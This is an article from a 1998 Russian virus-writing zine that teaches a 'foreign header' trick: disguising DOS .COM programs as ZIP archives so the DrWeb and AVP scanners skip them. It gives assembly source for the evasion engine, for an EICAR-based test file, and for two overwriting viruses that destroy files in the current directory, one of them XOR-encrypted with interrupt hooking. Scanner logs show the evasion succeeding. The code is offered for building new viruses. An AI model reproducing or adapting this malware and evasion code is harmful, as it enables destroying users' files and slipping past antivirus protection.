[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998 file 008
Примеры использования технологии "Allien Header"
by FRiZER
Как оказалось, обдурить DrWeb также просто как и AVP :)
вообщем смотри файл dacez.asm
Можно лепить вирус, а потом интегрировать его
с DrWeb & AVP Cheat Engine for Zip (DACEZ) by me aka FRiZER :)))
И тогда DrWeb и AVP будут лишь тихо пукать, что это "архив PKZIP", что
лучше, чем сообщения о плохом заголовке или неизвестном формате.
Размер engine - 38 байт ;)
Но есть более надежный вариант ;)
- упаковать вирус методом store.
- пропатчить в заголовке архива два байта - сделать переход на начало вируса,
причем патчить лучше дату или время - тем более их и находить при
неизвестном заголовке очень просто: два раза запаковать один и тот-же
файл с разной датой и сравнить архивы.
- в самом вирусе восстановить все стартовые регистры (если нужно)
и обязательно повынимать из стека (если что-то туда было заpushено)
для сокрытия от антивирусов можно делать например так:
1. ставить флаг в архиве, что файл запаролен (как вычислить, где этот
флаг я думаю ясно - см. выше про дату)
2. ставить флаг паковки другой. (не store) => при распаковке
хyz знает что получится
3. в самом вирусе применять шифровку, используя то, что:
если распаковать вирус - смещения данных будут одни,
а если выполнять его в виде архива - то смещения будут другие.
например:
mov bx,[100h]
sub bx,'PK' ; начало ZIP архива
mov cx,virus_len
lea di,crypted_data
@loop: xor [di],bx
inc dx
loop @loop
crypted_data:
Эмулятор, который распакует файл и будет эмулировать его выполнение
только зашифрует тело вируса, после чего эвристику там делать нечего ;)
При запуске же в виде архива все будет XOR'иться с bx=0.
PS: остается один побочный эффект - программы-оболочки, типа DN, при нажатии
Enter на имени файла просто войдет в него, как в обычный архив, чем
невероятно смутит юзера ;)
=== Cut === [dacez.asm]
;[ DrWeb & AVP cheat engine for Zip 8) ]
.model tiny
.386
.code
.startup
org 100h
s:
dd 04034b50h
pop ax ; restore ax
inc bx ; restore bx
@1:
;┌────[ Insert your code here ]────┐
mov ah,9
;└───[ But less than 10 bytes! ]───┘
@2:
jmp @3
db 10-(@2-@1) dup ('x')
db 12 dup (0)
dd 06054b50h
@3:
;┌────[ Insert your code here ]────┐
lea dx,mes
;└───[ But less than 10 bytes! ]───┘
@4:
jmp @5
db 12-(@4-@3) dup ('x')
db 12 dup (0)
@5:
;┌────[ Insert your code here ]────┐
int 21h
int 20h
mes db '[ DrWeb & AVP cheat engine for Zip (DACEZ) ;) ]',13,10,'$'
;└─────────────────────────────────┘
e:
end
=== Cut ===
Вот реакция AVP на файл-ангину
=== Cut ===
■ Antiviral Toolkit Pro by Eugene Kaspersky Версия 3.0
■ Отчет: 10-05-1998 15:34:43
■ Командная строка: /w=avp.rpt /m/p/b/s *.*
C:\ANTI\AVP\AVPLITE.EXE : упакован Diet
D:\TEMP\DACEZ.COM : архив ZIP
Вирусов не обнаружено
Проверено: 5 файлов
1 архивов
1 каталогов
4 килобайт
Время: 00:00:00
=== Cut ===
И прославленный в боях DrWeb не отстает
=== Cut ===
────────────────────────────────────────
Dr.Web, версия 4.00 (06 апреля 1998)
Copyright (c) Игорь Данилов, 1992-98
Протокол работы от 1998 May 14 20:58:17
Командная строка: D:\PERSONAL\MB.5\FRIZER\dacez.com
────────────────────────────────────────
Загрузка вирусной базы DRW40001.VDB - Ok, вирусов - 261
Загрузка вирусной базы DRW40002.VDB - Ok, вирусов - 170
Загрузка вирусной базы DRW40003.VDB - Ok, вирусов - 62
Загрузка вирусной базы DRWEBASE.VDB - Ok, вирусов - 7135
В памяти компьютера вирусов не обнаружено
Поиск вирусов в D:\PERSONAL\MB.5\FRIZER\dacez.com:
D:\PERSONAL\MB.5\FRIZER\DACEZ.COM - архив PKZIP
Отчет для диска D:
Проверено : файлов и загрузочных секторов - 0
Обнаружено: вирусов и инфицированных программ - 0
Время сканирования: 00:00:04
=== Cut ===
Шутки ради была откомпиллирована следующая феня и подсунута на тестирование
антивирусам. Результат превзошел все ожидания ;)
=== Cut === [begin.asm]
.model tiny
.386
.code
.startup
org 100h
s:
dd 04034b50h ; sign
dw 0Ah ; ver
dw 0 ; flag
dw 0 ; method
;dw 0 ; time
jmp real
dw 0 ; date
dd 0 ; crc-32
dd 68 ; packed len
dd 68 ; real len
dw 5 ; name len
dw 0 ; add field len
db 'A.COM' ; name
db 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
real:
e:
end
=== Cut ===
Затем был создан overwrite-вирус, точка входа которого представляет собой всю
ту чушь, которую можно найти в начале заголовка MS Word-документа... AVP
и DrWeb, известные своими раскрутейшими эмуляторами, решили героически
промолчать... А зря ;) Файл с именем word.com содержащего нижеприведенного
зверька вы найдете в соответствующем каталоге.
=== Cut ===
;1998 (c) by RedArc // TAVC
Model Tiny
.code
.286
org 100h
start:
ror bh,1
adc ax,sp
mov ax,word ptr ds:[01AB1h]
loop start
jmp label1
db 100h dup (?)
label1:
add dh,bh
cli
mov ax,ds:[bx]
sti
add ds:[0000h],al
lab1:
jmp label2
db 100h dup (0ffh)
label2:
mov dx,MO
mov ah,4eh
inc dh
mov cx,0ffh
label3:
int 21h
jb No_File
mov al, byte ptr ds:[9eh]
cmp al,'.'
je FindNext
mov ax,3d02h
mov dx,9eh
int 21h
xchg ax,bx
mov ah,40h
mov dx,100h
mov cx,MyLen
int 21h
mov ah,3eh
int 21h
FindNext:
mov ah,4fh
jmp label3
No_File:
mov dx,MSG
mov ah,09h
inc dh
int 21h
int 20h
MO equ $-start
db '*.*',0h
MSG equ $-start
db 'TAVC MS-Word-Owerwrite-Virus Present',0ah,0dh,'$'
MyLen equ $-start
end start
=== Cut ===
Как и следовало ожидать - после опубликования идей технологии "Чужие
заголовки" в фидошных эхах передовая мысль вирмейкинга заработала... Вот еще
один зверек, созданный Evgeniy Lavrenov, использующий ZIP-header. Файл с
именем xpeh.com вы найдете в соответствующем каталоге.
=== Cut ===
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ XPEH.PKZ.OW ██
;██ ██
;██ Created: 7-May-98 ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
.model tiny
data_1e equ 0
data_3e equ 1960h
inter macro
int 3h
endm
DTA segment at 80h
; DTA
ORG 095h
DTA95 db ? ; Atributes
DTA96 dw ? ; Old time
DTA98 dw ? ; Old date
DTA9a dw ? ; Old size
dw ?
; ORG 09eh
DTA9e db ? ; File name
ORG 0a3h
DTAa3 dw ?
DTA ends
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
xpeh proc far
start:
push ax
dec bx
add ax,[si]
adc al,0
add al,[bx+si]
or [bx+si],al
and [bx+si],cl
and [si],sp
mov al,ds:data_3e
; mov ds:data_1e,ds
mov bl,ds:data_1e
add al,ch
add ax,[bx+si]
; add [si],al
add cl,[bx][si]
add [bx+si],al
; add [bx+si+50h],bl
; inc bp
; dec ax
x_com db 0
db 'XPEH.COM'
pop si
mov x_com,0
; Конец заголовка PKZIP ...
; Сильно не разбирался - в первом приближении
mov si,offset coded_beg
mov cx,coded_beg1-coded_beg
mov_al db 0b0h
coded_val db 0
encod_loop:
xor byte ptr ds:[si],al
inc si
loop encod_loop ; Loop if cx > 0
coded_beg:
push ds
push es
get_int_01:
mov ax,3501h ; Get int 01 handler
int 21h
old_int_01:
mov word ptr [oldint01],bx ; Save it
mov word ptr [oldint01+2],es
new_int_01:
mov ah,25h ; Set new int 01 handler
mov dx,offset int01 ; DS:DX->new handler
int 21h
mov al,byte ptr ds:[coded_val]
mov cx,coded_end-coded_beg1
mov si,offset coded_beg1
encod_loop2:
xor byte ptr ds:[si],al
inc si
loop encod_loop2 ; Loop if cx > 0
coded_beg1:
mov ax, 3521h ; get int 21h handler
int 21h
push es
pop ds
xchg bx, dx
mov ax, 2503h ; set int 3 = int 21h handler
int 21h
pop es
pop ds
get_int_24:
mov ax,3524h ; Get int 24 handler
inter
old_int_24:
mov word ptr [oldint24],bx ; Save it
mov word ptr [oldint24+2],es
new_int_24:
mov ah,25h ; Set new int 24 handler
mov dx,offset int24 ; DS:DX->new handler
inter
find_first:
mov ah,4Eh
xor cx,cx
dec Filespec+2
; mov Filespec+2,043h
mov dx,offset Filespec
inter
jnc dom_to_com
jmp exit ; Jump if carry=0
dom_to_com:
inc Filespec+2
; mov Filespec+2,0f4h
find_next:
xor cx,cx ; Set attriutes to none
call attributes
open:
mov ax,3d02h ; open file read/write
mov dx,09eh
inter
jc close ; Jump if carry Set
xchg bx,ax
mov ah,3Fh
mov cx,02h
mov dx,offset data_area
inter
cmp word ptr ds:[offset data_area],4b50h ; Уже были здесь ?
je close ; Jump if equal
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
inter
get_time:
mov ah,2Ch
inter
cmp dl,0
je get_time ; Jump if equal
mov coded_val,dl
mov cx,coded_end-coded_beg
add cl,dl
push dx
mov di,offset data_area
mov si,offset coded_beg
coded_loop:
mov al,[si]
; xor al,coded_val
xor al,dl
mov [di],al
inc si
inc di
loop coded_loop ; Loop if cx > 0
mov ah,40h
mov cx,coded_beg-start
mov dx,offset start ; 100h
inter
mov ah,40h
mov cx,coded_end-coded_beg
pop dx
add cl,dl
mov dx,offset data_area
inter
close:
mov ax,5701h ; Set files date/time back
mov cx,word ptr ds:[DTA96] ; Get old time from dta
mov dx,word ptr ds:[DTA98] ; Get old date
inter
mov ah,3eh
inter
xor cx,cx
mov cl,byte ptr ds:[DTA95] ; Get old Attributes
call attributes
mov ah,4fh ; Find next file
inter
jnc find_next
exit:
mov ax,2524h ; Restore int 24 handler
mov dx,offset oldint24 ; To original
inter
mov ax,2501h ; Restore int 01 handler
mov dx,offset oldint01 ; To original
inter
mov ax,4C00h
inter
xpeh endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
int24: ; New int 24h (error) handler
xor al,al ; Fail call
iret ; Return from int 24 call
int01: ; New int 01h
; xor al,al ; Fail call
HLT ; jmp int01 ; cicle too long time
iret ; Return from int 01 call, but ...
attributes:
mov ax,4301h ; Set attributes to cx
mov dx,09eh ; File Name
inter
retn
Filespec db '*.Dom', 0
Vir_title db '[LeV.PKZ.OW.Var]'
coded_end equ $
oldint01 dd ? ; Storage for old int 01h handler
oldint24 dd ? ; Storage for old int 24h handler
data_area db coded_end-coded_beg+64h dup (?)
seg_a ends
end start
=== Cut ===
И опять та же реакция AVP на вирус этой технологии...
=== Cut ===
■ AntiViral Toolkit Pro by Eugene Kaspersky [Version 3.0 Build 119]
■ Отчет: 07-05-1998 13:11:18
■ Командная строка:
C: ░ Boot Sector : в порядке
D: ░ Boot Sector : в порядке
F: ░ Boot Sector : в порядке
HDD1░ Master Boot Record : в порядке
HDD1░ Not Active Boot Sector : в порядке
HDD1░ Active Boot Sector : в порядке
HDD2░ Master Boot Record : в порядке
HDD2░ Not Active Boot Sector : в порядке
D:\!\XPEH.COM : архив ZIP
D:\!\XPEH.COM\XPEH.COM : неизвестный формат, пропущен
Вирусов не обнаружено
Проверено: 1 файлов
1 архивов
1 каталогов
0 килобайт
Время: 00:00:00
=== Cut ===